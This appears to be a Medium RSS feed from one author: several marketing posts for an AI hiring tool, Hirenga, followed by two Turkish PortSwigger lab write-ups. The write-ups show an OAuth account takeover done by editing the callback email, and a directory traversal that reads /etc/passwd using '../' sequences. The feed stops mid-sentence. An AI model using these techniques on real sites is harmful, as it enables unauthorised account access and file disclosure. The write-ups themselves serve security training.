<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Eren Sagdic on Medium]]></title>
        <description><![CDATA[Stories by Eren Sagdic on Medium]]></description>
        <link>https://medium.com/@erensagdicc?source=rss-334c482325a------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*zpWCWWQLOmfa04b4l2cz4g.jpeg</url>
            <title>Stories by Eren Sagdic on Medium</title>
            <link>https://medium.com/@erensagdicc?source=rss-334c482325a------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sat, 05 Dec 2026 02:26:00 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@erensagdicc/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[How AI Can Help SMBs Build a More Efficient and Scalable Hiring Process]]></title>
            <link>https://erensagdicc.medium.com/how-ai-can-help-smbs-build-a-more-efficient-and-scalable-hiring-process-8a07183721a4?source=rss-334c482325a------2</link>
            <guid isPermaLink="false">https://medium.com/p/8a07183721a4</guid>
            <category><![CDATA[aiat]]></category>
            <category><![CDATA[at]]></category>
            <category><![CDATA[hirenga]]></category>
            <category><![CDATA[hr]]></category>
            <category><![CDATA[ai]]></category>
            <dc:creator><![CDATA[Eren Sagdic]]></dc:creator>
            <pubDate>Fri, 11 Apr 2025 09:50:46 GMT</pubDate>
            <atom:updated>2025-04-11T09:50:46.627Z</atom:updated>
            <content:encoded><![CDATA[<h3>Introduction</h3><p>Small and medium-sized businesses (SMBs) often operate with limited resources, which means that efficiency is key in every aspect of the business — including recruitment. Traditional hiring processes can be time-consuming and costly, especially when it comes to sifting through resumes, tracking applicants, and ensuring no promising candidate is overlooked. However, with AI-powered tools like <a href="https://hirenga.com/">Hirenga</a>, SMBs can build a more efficient and scalable hiring process without the need for a large HR department or complex systems.<br> <br>In this blog, we’ll explore how AI can enhance efficiency, scalability, and organizational growth in the hiring process for small and medium-sized businesses.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*5Foh12uNPfrqOAfN.png" /></figure><h3>1. Why Efficiency Matters for SMB Hiring</h3><p>SMBs typically have small HR teams, meaning they are often required to wear multiple hats and juggle different tasks. Efficiency in recruitment isn’t just about saving time — it’s about ensuring that every step of the hiring process contributes directly to making better decisions, faster.<br> <br>Key reasons why efficiency is crucial for SMB hiring:</p><ul><li>Limited HR resources: SMBs often don’t have dedicated recruitment teams, which means processes need to be automated and simplified.</li><li>Faster decisions: In a competitive job market, making quick decisions is essential to securing top talent before competitors do.</li><li>Reduced overhead: By using AI-powered tools, SMBs can reduce the manual work involved in hiring, lowering overhead costs.</li></ul><h3>2. How AI Enhances Hiring Efficiency for SMBs</h3><p>AI can be a game-changer for SMBs looking to streamline their hiring process. Here’s how AI can boost efficiency in multiple stages of recruitment:</p><p>Automated Resume Screening</p><p>One of the most time-consuming tasks in recruitment is going through resumes. AI-powered tools like <a href="https://hirenga.com/">Hirenga</a> can automatically screen resumes, extracting key details like work experience, skills, and education from a large pool of applicants. This allows HR teams to quickly identify the most relevant candidates without having to read through every resume manually.</p><p>Faster Candidate Evaluation</p><p>With AI-driven candidate scoring, SMBs can evaluate candidates based on predefined criteria, such as skills, experience, and cultural fit. AI can quickly assess and rank candidates, providing hiring managers with a shortlist of the most qualified applicants in minutes.</p><p>Streamlined Communication</p><p>Automated email responses and scheduling are another way AI can help SMBs stay organized and efficient. AI tools can automatically send personalized rejection or acceptance emails to candidates based on their status in the hiring pipeline, and can even schedule interviews without the need for manual intervention.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1000/0*8zRkN3_vS-XX0jf7.jpg" /></figure><h3>3. Building a Scalable Hiring Process with AI</h3><p>As your business grows, so does your hiring process. What works when you have a small team may not be effective when you’re scaling up. Here’s how AI helps SMBs scale their hiring efforts effectively:<br> <br>Organized Candidate Tracking</p><p>With an AI-powered Kanban board, you can track candidates at various stages of the hiring process in an organized and visually appealing way. As your business scales and you hire more frequently, this feature helps you keep track of each applicant’s status without getting overwhelmed.</p><p>Customizable Workflows</p><p>AI-powered tools like <a href="https://hirenga.com/">Hirenga</a> allow SMBs to customize their recruitment workflows, ensuring that the hiring process grows with the business. Whether you’re hiring for one role or multiple roles across different departments, AI tools can adapt and maintain a consistent and efficient workflow.</p><p>Data-Driven Hiring Decisions</p><p>As your hiring volume increases, you need reliable data to make informed decisions. AI analytics can help SMBs track performance metrics like time-to-hire, candidate quality, and interview-to-hire ratio. By leveraging this data, you can make better, more informed decisions as your business grows.</p><h3>4. The Competitive Advantage for SMBs Using AI in Hiring</h3><p>In the past, SMBs were at a disadvantage when it came to recruiting top talent. Large companies had the resources to use expensive recruitment software and dedicated HR teams. However, with AI, SMBs can level the playing field by automating and streamlining their hiring processes.<br> <br>With tools like <a href="https://hirenga.com/">Hirenga</a>, SMBs can:</p><ul><li>Reduce hiring time and costs</li><li>Improve the accuracy of hiring decisions</li><li>Streamline communication with candidates</li><li>Build a scalable recruitment process</li></ul><p>By embracing AI-powered solutions, SMBs can remain competitive in the talent acquisition space, even without the vast resources of larger companies.</p><h3>Conclusion</h3><p>For small and medium-sized businesses, efficiency and scalability are essential when it comes to hiring the right talent. By integrating AI-powered tools like <a href="https://hirenga.com/">Hirenga</a> into your recruitment process, you can streamline your hiring workflow, improve decision-making, and ensure your recruitment efforts grow with your business.<br> <br>Ready to build a more efficient and scalable hiring process? Sign up for <a href="https://hirenga.com/">Hirenga</a> today and start using AI to optimize your recruitment for the future.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=8a07183721a4" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How AI-Powered Applicant Tracking Can Improve Recruitment for Small Businesses]]></title>
            <link>https://erensagdicc.medium.com/how-ai-powered-applicant-tracking-can-improve-recruitment-for-small-businesses-5f8ec292c331?source=rss-334c482325a------2</link>
            <guid isPermaLink="false">https://medium.com/p/5f8ec292c331</guid>
            <dc:creator><![CDATA[Eren Sagdic]]></dc:creator>
            <pubDate>Fri, 11 Apr 2025 09:48:40 GMT</pubDate>
            <atom:updated>2025-04-11T09:49:10.013Z</atom:updated>
            <content:encoded><![CDATA[<h3>Introduction</h3><p>Hiring the right talent can be challenging for small and medium-sized businesses (SMBs), especially without the budget for expensive, complex recruitment tools. Fortunately, AI-powered Applicant Tracking Systems (ATS) offer an affordable and effective solution for SMBs looking to streamline their hiring processes. In this blog, we will explore how AI-driven applicant tracking can transform the way small businesses manage candidates and improve their recruitment process.</p><figure><img alt="Light-weight AI powered ATS System — Hirenga" src="https://cdn-images-1.medium.com/proxy/1*b31hiO4ynbDLRrXWEFF4aQ.png" /></figure><h3>1. What Is AI-Powered Applicant Tracking?</h3><p>An AI-powered applicant tracking system uses artificial intelligence to automate and optimize the hiring process. It helps businesses collect, organize, and evaluate applications more efficiently than manual methods. Key features of AI-powered ATS include resume parsing, automated candidate scoring, and seamless integration with other tools — giving SMBs the ability to compete with larger enterprises in terms of hiring efficiency.</p><h3>2. The Benefits of AI for Small Business Recruitment</h3><p>For SMBs, adopting AI technology in recruitment offers several advantages:<br> <br>Save Time and Resources</p><p>One of the biggest challenges SMBs face is the limited time and resources available for recruitment. With an AI-powered ATS, tasks like reviewing resumes, scoring candidates, and sending rejection or acceptance emails are automated, freeing up time for HR teams to focus on more strategic tasks.</p><p>Make Smarter Hiring Decisions</p><p>AI analyzes resumes and candidates based on predetermined criteria, helping SMBs make more data-driven, unbiased hiring decisions. Instead of relying on gut feeling, hiring managers can base decisions on objective insights generated by AI.</p><p>Improved Candidate Experience<br> <br>AI-powered ATS not only helps SMBs evaluate candidates faster but also ensures that candidates are treated fairly throughout the recruitment process. Automated responses and personalized communication improve the overall candidate experience, which can help SMBs attract top talent.</p><figure><img alt="" src="https://cdn-images-1.medium.com/proxy/0*AfWhjToEcPv5F8Wl.png" /></figure><h3>3. Key Features of AI-Powered ATS for SMBs</h3><p>Automated Resume Parsing and Scoring</p><p>AI tools can automatically parse resumes, extracting key details like work experience, skills, and contact information. With automated candidate scoring, you can quickly assess each applicant’s suitability based on predefined criteria, saving valuable time.</p><p>Customizable Hiring Workflow</p><p>Small businesses can customize the hiring process to suit their needs. An AI-powered ATS allows you to create a hiring pipeline that reflects your business’s unique recruitment process, whether you’re hiring for multiple positions or tracking candidates through different stages.</p><p>Efficient Candidate Tracking</p><p>An AI-powered ATS offers seamless candidate tracking through each stage of the hiring process. From application submission to interview scheduling and final selection, you can easily manage and track candidates without losing any information.</p><h3>4. How AI Applicant Tracking Helps SMBs Compete with Larger Businesses</h3><p>Unlike larger companies, SMBs often don’t have the resources to implement expensive and complex recruitment systems. However, with an AI-powered ATS, even small businesses can automate their hiring processes, ensuring they remain competitive in the job market.<br> <br>By using AI to streamline hiring tasks such as candidate screening, scoring, and communication, SMBs can ensure they are attracting and hiring the best talent, faster and more efficiently.</p><h3>Conclusion</h3><p>In today’s competitive job market, small and medium-sized businesses need all the help they can get to attract top talent. AI-powered applicant tracking systems provide a cost-effective, efficient, and scalable solution to automate and streamline the recruitment process. With AI-driven tools like resume parsing, automated scoring, and seamless candidate tracking, SMBs can make smarter hiring decisions while saving time and resources.</p><p>Ready to streamline your recruitment process? Sign up for <a href="https://hirenga.com/">Hirenga</a> today and start using AI to hire faster, smarter, and more efficiently.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=5f8ec292c331" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How Small and Medium Businesses Can Streamline Their Hiring Process with AI]]></title>
            <link>https://erensagdicc.medium.com/introduction-86c073a2c150?source=rss-334c482325a------2</link>
            <guid isPermaLink="false">https://medium.com/p/86c073a2c150</guid>
            <category><![CDATA[resume]]></category>
            <category><![CDATA[hr]]></category>
            <category><![CDATA[ai]]></category>
            <category><![CDATA[saas]]></category>
            <category><![CDATA[ats-software]]></category>
            <dc:creator><![CDATA[Eren Sagdic]]></dc:creator>
            <pubDate>Fri, 11 Apr 2025 09:47:16 GMT</pubDate>
            <atom:updated>2025-04-11T17:43:05.513Z</atom:updated>
            <content:encoded><![CDATA[<p>Introduction</p><p>In today’s competitive job market, small and medium-sized businesses (SMBs) face unique challenges in hiring. Unlike large enterprises with dedicated HR teams and advanced software, SMBs often struggle with managing job applications efficiently. However, with the help of AI-powered tools like Hirenga, hiring processes can be simplified and made more effective, without the need for complex and expensive software.</p><p>In this blog, we will explore how SMBs can streamline their hiring process, improve candidate management, and save valuable time using AI.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*Aup2xgqRQa02sBk2.jpg" /></figure><h3>1. The Challenges SMBs Face in Hiring</h3><p>Hiring can be overwhelming, especially for small businesses with limited resources. Some of the common challenges SMBs face include:</p><ul><li>Time-consuming manual processes: Sorting through resumes, screening candidates, and managing interviews manually can be exhausting.</li><li>Difficulty in managing multiple job postings: With limited HR staff, handling multiple job openings and keeping track of candidates can become a logistical nightmare.</li><li>Limited budget for expensive recruitment software: Larger companies can afford comprehensive applicant tracking systems (ATS) and hiring tools, but small businesses often struggle to find affordable solutions.</li></ul><p>These challenges can make it harder to find and hire top talent, which ultimately impacts business growth.</p><h3>2. How AI-Powered Hiring Tools Can Help</h3><p>AI-powered hiring tools like Hirenga offer small and medium-sized businesses an effective solution to overcome these hiring challenges. Here’s how AI can transform your hiring process:</p><p>AI-Powered CV Parsing and Scoring</p><p>One of the most significant advantages of AI is its ability to analyze and score resumes automatically. Hirenga’s AI-powered CV parsing feature extracts key details from resumes such as names, contact information, work experience, and skills. This allows hiring managers to quickly identify top candidates based on their qualifications, eliminating the need to manually read through every resume.</p><p>Streamlined Applicant Tracking</p><p>Managing applicants becomes much easier when all the information is organized in one place. With Hirenga’s Kanban-style applicant tracking, you can track candidates through every stage of the hiring process — whether it’s “Applied,” “Interviewing,” or “Hired.” This visual representation ensures that you never lose track of candidates and can make faster, more informed decisions.</p><p>Automated Candidate Scoring</p><p>AI-powered tools can automatically score candidates based on predefined criteria, such as experience, skills, and education. This helps SMBs quickly identify the best-fit candidates and focus their time on the most promising applicants. Instead of manually evaluating each candidate, you can rely on automated scoring to prioritize the most qualified candidates.</p><p>Automated Email Responses</p><p>Instead of spending time writing individual rejection or acceptance emails, Hirenga allows you to automate this process with AI-generated emails. Once a candidate is reviewed and scored, Hirenga sends personalized acceptance or rejection emails, saving your HR team valuable time and ensuring a consistent candidate experience.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/810/0*d8FDyWfuKAAmO0mP.jpg" /></figure><h3>3. The Benefits of Using Hirenga for SMBs</h3><p>By using Hirenga, SMBs can experience the following benefits:</p><ul><li>Save Time: Automated processes like resume parsing, candidate scoring, and email responses reduce the time spent on manual tasks, allowing your HR team to focus on high-priority work.</li><li>Reduce Costs: Traditional hiring software can be expensive and complicated to implement. Hirenga offers an affordable solution with easy-to-use features designed for small businesses.</li><li>Improve Candidate Experience: AI tools not only help you make quicker hiring decisions but also improve the candidate experience with faster responses and personalized communication.</li><li>Make Smarter Hiring Decisions: With AI-powered insights and candidate scoring, SMBs can ensure they’re selecting the best talent for the job — every time.</li></ul><h3>4. Why SMBs Should Invest in AI for Hiring</h3><p>While large enterprises may have the resources to manage their recruitment processes manually or with expensive tools, SMBs can significantly benefit from adopting AI-driven hiring solutions. With features like automated resume parsing, candidate scoring, and email automation, Hirenga provides small businesses with the tools they need to stay competitive in the talent acquisition game.<br> <br>Investing in AI-driven hiring tools not only saves time and money but also ensures that you’re selecting the best candidates, which is crucial for the long-term success and growth of your business.</p><h3>Conclusion</h3><p>For small and medium-sized businesses, finding the right talent doesn’t have to be a daunting task. With Hirenga’s AI-powered hiring tools, you can streamline your recruitment process, improve candidate management, and make smarter, faster hiring decisions. Embrace the power of AI today and experience the benefits of a more efficient and cost-effective hiring process.<br> <br>Ready to simplify your hiring process? Sign up for Hirenga today and start attracting top talent without the complexity or high costs of traditional hiring solutions.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=86c073a2c150" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[I Built an ATS for Small Teams — Because Every Other One Felt Like Overkill]]></title>
            <link>https://erensagdicc.medium.com/i-built-an-ats-for-small-teams-because-every-other-one-felt-like-overkill-c46d687b2ed3?source=rss-334c482325a------2</link>
            <guid isPermaLink="false">https://medium.com/p/c46d687b2ed3</guid>
            <dc:creator><![CDATA[Eren Sagdic]]></dc:creator>
            <pubDate>Mon, 07 Apr 2025 12:30:11 GMT</pubDate>
            <atom:updated>2025-04-07T12:30:11.223Z</atom:updated>
            <content:encoded><![CDATA[<h3>I Built an ATS for Small Teams — Because Every Other One Felt Like Overkill</h3><p>Like most small business owners, I didn’t set out to build another SaaS product. I just wanted to make hiring less painful.</p><p>We’re a small team, and like many others, we handle hiring internally. That means no recruiters, no agencies — just a handful of people trying to sift through dozens (sometimes hundreds) of CVs, send emails, schedule interviews, and make decisions before good candidates disappear.</p><p>We tried using big-name ATS tools. Most of them are incredibly powerful… but not in a good way. Here’s what I ran into:</p><ul><li><strong>Bloated dashboards</strong> with features we didn’t need</li><li><strong>Complex user roles and permissions</strong> we never used</li><li><strong>Integrations that took more time to configure than to use</strong></li><li>And worst of all — <strong>a price tag that didn’t match our size</strong></li></ul><p>So after a few cycles of “maybe this one will work,” I gave up. I decided to build our own.</p><h3>What I really needed</h3><p>I didn’t want an all-in-one HR suite. I just wanted:</p><ul><li>A way to upload CVs quickly</li><li>A simple Kanban board to move candidates through stages</li><li>Some help figuring out which applicants were actually relevant</li><li>And a way to send emails without spending my life copying and pasting</li></ul><p>Turns out, there wasn’t anything out there that gave me just that — nothing more, nothing less.</p><p>So I built <a href="https://hirenga.com/"><strong>Hirenga</strong></a>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/657/1*wfRvj44BACXOT8j48wLKAg.png" /></figure><h3>Hirenga: An ATS for people who hate ATSs</h3><p>Hirenga is a lightweight, AI-powered applicant tracking system designed for small teams. No setup calls. No 30-tab dashboards. No enterprise fluff.</p><p>Just the features we actually use:</p><ul><li><strong>Drag-and-drop Kanban pipeline</strong></li><li><strong>CV upload and parsing (PDFs)</strong></li><li><strong>AI-powered analysis + candidate scoring</strong></li><li><strong>Custom job form builder with embed support</strong></li><li><strong>AI-generated email replies</strong> — especially rejection emails (which used to be the biggest time sink)</li></ul><h3>Where we’re at now</h3><p>The MVP is done.<br> We’re running soft tests with a few early users.<br> The payment system is live.<br> And I’ve set myself a personal goal: spend $1,000 on marketing, and aim to earn $1,000 back. Just to validate.</p><p>We’re not trying to replace Greenhouse or Lever. Those are great tools — for big teams.</p><p>But if you’re hiring 2–3 people at a time, doing it yourself, and just need a tool that gets out of the way, <strong>Hirenga might be what you’ve been looking for.</strong></p><h3>Why I’m sharing this</h3><p>Because I know I’m not the only one who struggled with hiring bloat.<br> And because I want to build in public — hear from others, get feedback, and improve.</p><p>If you’ve ever made your own internal tool because nothing out there felt <em>right</em>, I’d love to hear your story too.</p><p>Thanks for reading — and if you’re curious, check it out here: <a href="https://hirenga.com/"><strong>Hirenga</strong></a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c46d687b2ed3" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[OAuth Zafiyeti]]></title>
            <link>https://erensagdicc.medium.com/oauth-zafiyeti-8b4572dc066b?source=rss-334c482325a------2</link>
            <guid isPermaLink="false">https://medium.com/p/8b4572dc066b</guid>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[oauth]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Eren Sagdic]]></dc:creator>
            <pubDate>Tue, 16 Mar 2021 22:08:05 GMT</pubDate>
            <atom:updated>2021-03-16T22:08:05.094Z</atom:updated>
            <content:encoded><![CDATA[<p>Herkese merhabalar arkadaşlar.</p><p>Bugün sizlere OAuth nedir, OAuth zafiyetlerinin oluşma sebeplerini ve bu zafiyetleri nasıl sömürebileceğimizi anlatacağım.</p><p>Öncelikle OAuth nedir onu bir anlayalım.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/664/0*jIvyCpJe0f356VMn" /></figure><p><strong>OAuth Nedir?</strong></p><p>OAuth, servisler veya sunucular arasında kimlik doğrulamasına yarayan, <strong>Google, Facebook</strong> gibi hesaplarla kritik bilgiler verilmeden <strong>third party </strong>(3. parti) web siteleri, uygulamalarına erişimi sağlamaya yarayan protokoldür.</p><p>Örneğin bir e-ticaret sitesine giriş yapmak istediğinizde sosyal medya hesapları ile giriş yapabilmeniz OAuth protokolü sayesinde gerçekleşir.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/395/0*-BeMkZwi0ryRYcip" /></figure><p>Şimdi <strong>OAuth</strong> nedirin temel mantığını kavradığımıza göre, <strong>OAuth zafiyeti </strong>nedir ve temelde zafiyetin oluşma sebepleri nelerdir biraz bunlardan bahsedelim.</p><p><strong>OAuth Zafiyeti nedir ve temelde oluşma sebepleri nelerdir ?</strong></p><p>Şimdi sizlere zafiyeti bir örnek üzerinden anlatacağım.</p><p>Öncelikle bizim bir web sitemiz olsun ve bize sosyal medya ile giriş olanağı sağlasın. Herhangi bir sosyal medya veya <strong>OAuth</strong> desteği veren herhangi bir <strong>provider</strong> olabilir.</p><p>Şimdi sosyal medya ile giriş yapmak istediğimizdeki seneryoyu kafamızda oluşturalım.</p><p>İlk önce biz web site üzerinden hangi sosyal medya ile giriş yapmak istiyorsak onu seçiyoruz. Biz burada Google’yi örnek alacağız.</p><p>Seçimimizi yaptıktan sonra web site bizi <strong>provider</strong> e yani Google’ye redirect ediyor.</p><p>Biz provider tarafında authentication ımızı tamamladığımızda bu <strong>providerin</strong> bizi web sitesine geri yönlendirmesi gerekiyor. Ondan da önce doğrulamayı yapıp yapmadığımızın kontrolünü için web sitesini geri yönlendirme esnasında bir de request e token set ediliyor. Geri döndüğümüzde de web sitesi getirdiğimiz token e bakarak provider tarafında girişin yapıldığını doğruluyor ve bizi içeri alıyor.</p><p>Şimdi OAuth un temel işleyişini az da olsa anladığımıza göre zafiyetin oluştuğu noktayı anlatmaya geçebiliriz.</p><p>Zafiyeti daha iyi anlayabilmek adına sizlere örnek üzerinden anlatım yapacağım.</p><p><strong>OAuth Zafiyeti Lab Çözüm Anlatımı</strong></p><p>Örnek labları PortSwigger WebAcademy de bulabilirsiniz. Gayet faydalı ve yararlı içerikler mevcut. Kesinlikle tavsiye ediyorum ve proxy aracı olarak da Burp Suite kullanmaktayım.</p><p>Labımıza geçelim:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/871/0*yO5V2l25moc0tgnl" /></figure><p>Öncelikle bizden ne istediğini anlayalım.</p><p>OAuth ile giriş sağlayabilen bir sistem var ve bu sistemde yapılan eksik veya hatalı validasyonlardan ve konfigürasyonlardan dolayı başka kullanıcıların hesaplarını şifrelerini bilmeden giriş yapılabiliyor. Bizden görev olarak e-posta adresi <a href="/service/mailto:carlos@carlos-montoya.net">carlos@carlos-montoya.net</a> olan hesaba giriş yapmamızı istiyor. Credentials olarak da wiener:peter ‘ i vermiş</p><p>Şimdi labı başlatalım.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*VN9W5zCe_vGfURJb" /></figure><p>Evet siteyi çalıştırdığımızda bizleri böyle bir ekran karşılamakta. Sağ üst menüde My account kısmına geliyorum.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*fo7fXL6bMDydSv9c" /></figure><p>My Account kısmına tıkladığım zaman beni otomatik olarak Sosyal medya girişine yönlendiriyor.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*BBY7-l3mdo44VKV_" /></figure><p>Şimdi normal olarak bize verilen credential lar ile giriş yapalım.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/706/0*VVyHYfgINd5BQ2Mv" /></figure><p>Bilgilerimi girip giriş yapmak istediğim zaman karşıma böyle bir Authorize formu çıkıyor. Burada bana WeLikeToBlog.com sitesi senin Profile ve Email bilgilerine erişim sağlayacak izin veriyor musun diye soruyor.</p><p>Continue dediğim zaman da normal olarak sisteme giriş yapmış oluyorum.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*VHdga12watuSx5wZ" /></figure><p>Evet şimdi çıkış yapıp, aynı işlemleri proxy miz aktifken tekrarlayalım.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*Pu7TPj5XV5G2xdlL" /></figure><p>bilgilerimi girip giriş yapa bastıktan sonra giden istekte gördüğünüz gibi bir token var. Bu token sayesinde geri dönüş yapacağımızı anlıyor. Devam edelim;</p><p>Şimdi izin ekranına geldiğimiz zaman burada izinleri onaylama kısmına basalım ve giden gelen isteği inceleyelim.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/600/0*SYlyzmC9Mhgn8ZQu" /></figure><p>burada sistem izni de kabul etti ve <strong>oauth-callback</strong> endpointine otomatik bir istek attı. Devam edelim.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/594/0*DHoXuQr2NoQ-TP8S" /></figure><p>Eveeet !! Şimdi burada işler değişiyor. Burayı dikkatlice anlamamız gerekiyor. Az önce gerçekleşen işlemleri bir anlatalım.</p><p>Şimdi burada ilk önce biz sosyal medya hesabı ile giriş yaptık. Provider bizi doğruladı, ardından bilgi paylaşımı için izin istedi. Biz bu izni verdikten sonra Provider tarafında işimiz bitmiş oluyor. Sonraki süreçte Provider bizi web sitesine geri gönderiyor. Fakat burada işlemlerin başarı ile sonuçlandığını belirtmek için bize bir <strong>token</strong> veriyor ve biz de bu tokeni web sitemize gösterip yapmış olduğumuz girişin doğruluğunu kanıtlıyoruz. Fakat burada farkettiyseniz kullanıcı e-postası da client tarafından web sitesine geri dönüyor. Web sitesinin bundan sonra yapacağı işlem ise gelen tokenin doğrulamasını yapmaktır.</p><p>Yani o birazdan göndereceğimiz istekteki email, username gibi datalar gerekli validasyonlardan geçilmediyse email ve kullanıcı adını bildiğimiz hesaplara giriş yapabiliriz. Vakit kaybetmeden deneyelim.</p><p>Başta bizden <strong>carlos@carlos-montoya.net</strong> hesabı ile giriş yapmamızı istemişti. Şimdi email kısmına bunu yazalım.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*G_PvyPBNF65klDGc" /></figure><p>Evet. Böylece labımızı da çözmüş olduk .</p><p>Elimden geldiğince açıklayıcı olmaya çalıştım. Umarım faydalı olmuştur. Okuduğunuz için teşekkür ederim. İyi günler.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=8b4572dc066b" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Directory Traversal Zafiyeti]]></title>
            <link>https://erensagdicc.medium.com/directory-traversal-zafiyeti-b106cd6e20a6?source=rss-334c482325a------2</link>
            <guid isPermaLink="false">https://medium.com/p/b106cd6e20a6</guid>
            <category><![CDATA[directory-traversal]]></category>
            <category><![CDATA[hacking]]></category>
            <dc:creator><![CDATA[Eren Sagdic]]></dc:creator>
            <pubDate>Sun, 07 Mar 2021 18:19:57 GMT</pubDate>
            <atom:updated>2021-03-07T18:19:57.937Z</atom:updated>
            <content:encoded><![CDATA[<p>Herkese merhabalar arkadaşlar.</p><p>Bugün sizlerle <strong>Directory Traversal Zafiyeti</strong> hakkında konuşacağız.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/781/0*my0fabegJooWxOF5" /></figure><p>Öncelikle <strong>Directory Traversal Zafiyeti </strong>nedir?</p><p>DT Zafiyeti kullanıcıdan alınan bir dosya isminin gerekli validasyonların yapılmamasından dolayı ortaya çıkan, son kullanıcının sistemsel dosyaları görüntülemesine olanak sağlayan güvenlik açığıdır.</p><p>Peki bu durum nasıl ortaya çıkar? Ufak bir örnek verecek olursak:</p><p>Bir E-ticaret sistemimiz olsun. Biz burada ürün satıyor olalım. Kullanıcı ürün detayına gittiği zaman da resim ve ürün datası olsun.</p><p>Fakat resmi getirmek için bir get request atıyor olalım.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/510/0*myilpfKUor7uwYwQ" /></figure><p>Bunu karşılayan php tarafı da :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/513/0*pzqLfszTT8boAU72" /></figure><p>Bu şekilde olsun ve burada dönen $image pathi direkt olarak html tarafında kullanılsın.</p><p>Böyle bir durumda giden requesti</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/504/0*XhhfLJx3aTSrGl5k" /></figure><p>bu şekilde değiştirdiğimizde <strong>/etc/passwd </strong>dosyasını okuyabilmemize olanak sağlıyor.</p><p>Directory Traversal Zafiyetinin temel mantığı bu şekilde oluşmakta. Şimdi birkaç lab çözerek pekiştirme istiyorum.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/848/0*4__udkRCEZzmFar0" /></figure><p>Bu labımızda bizden ürün resimlerinde bulunan <strong>File Path Traversal</strong> zafiyetini kullanarak <strong>/etc/passwd</strong> dosyasını okumamızı istiyor.</p><p>Hemen labı başlatalım. Aynı zamanda proxy olarak <strong>Burp Suite</strong> de açık giden istekleri tek tek yakalıyor.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*MsM-ce1OYhlgSMge" /></figure><p>Lab ı başlattığımda bizi böyle bir ekran karşılamakta. Hemen View Details diyelim ve giden isteği inceleyelim.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*mkDVB2GGHRmddZtt" /></figure><p>İlk giden isteğimiz bu şekilde. Fakat herhangi bir şey göremedim. Devam edelim:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*DRSsvvZ3mH_4364G" /></figure><p>İkinci giden Get Requestimizde parametre olarak bir file name almış. Eğer bu parametre üzerinde yeteri kadar validasyon yapılmadıysa bizler burada <strong>Directory Traversal Zafiyetini</strong> sömürebiliriz. Deneyelim:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*XM02DY40SJl18RwI" /></figure><p>Filename kısmını <strong>/etc/passwd</strong> olarak değiştirdim. Fakat dönen response:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/469/0*Q1O9mfRqYWdz3Gk9" /></figure><p>bu şekilde. Şimdi burada üst dizinlere çıkmak için <strong>“../”</strong> kullanacağım.</p><p>Fakat doğru dizini bulamadığımı düşünerek <strong>“../etc/passwd” </strong>yazdığım yerin başına<strong> ../</strong> ekleyerek devam ediyorum.</p><p>Ve evet 3. eklemede bulduk !</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/592/0*kvD4tkzHq8CaJDh2" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/693/0*oIlhI4SJ5yXqczGw" /></figure><p>Temel olarak Directory Traversal Zafiyetinin en basit örneklerinden birini görmüş olduk. Şimdi diğer labımıza geçelim.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/890/0*GJKuKBVQNwTr1DXL" /></figure><p>Öncelikle bizden tam olarak ne istediğini anlamaya çalışalım.</p><p>Bize task olarak 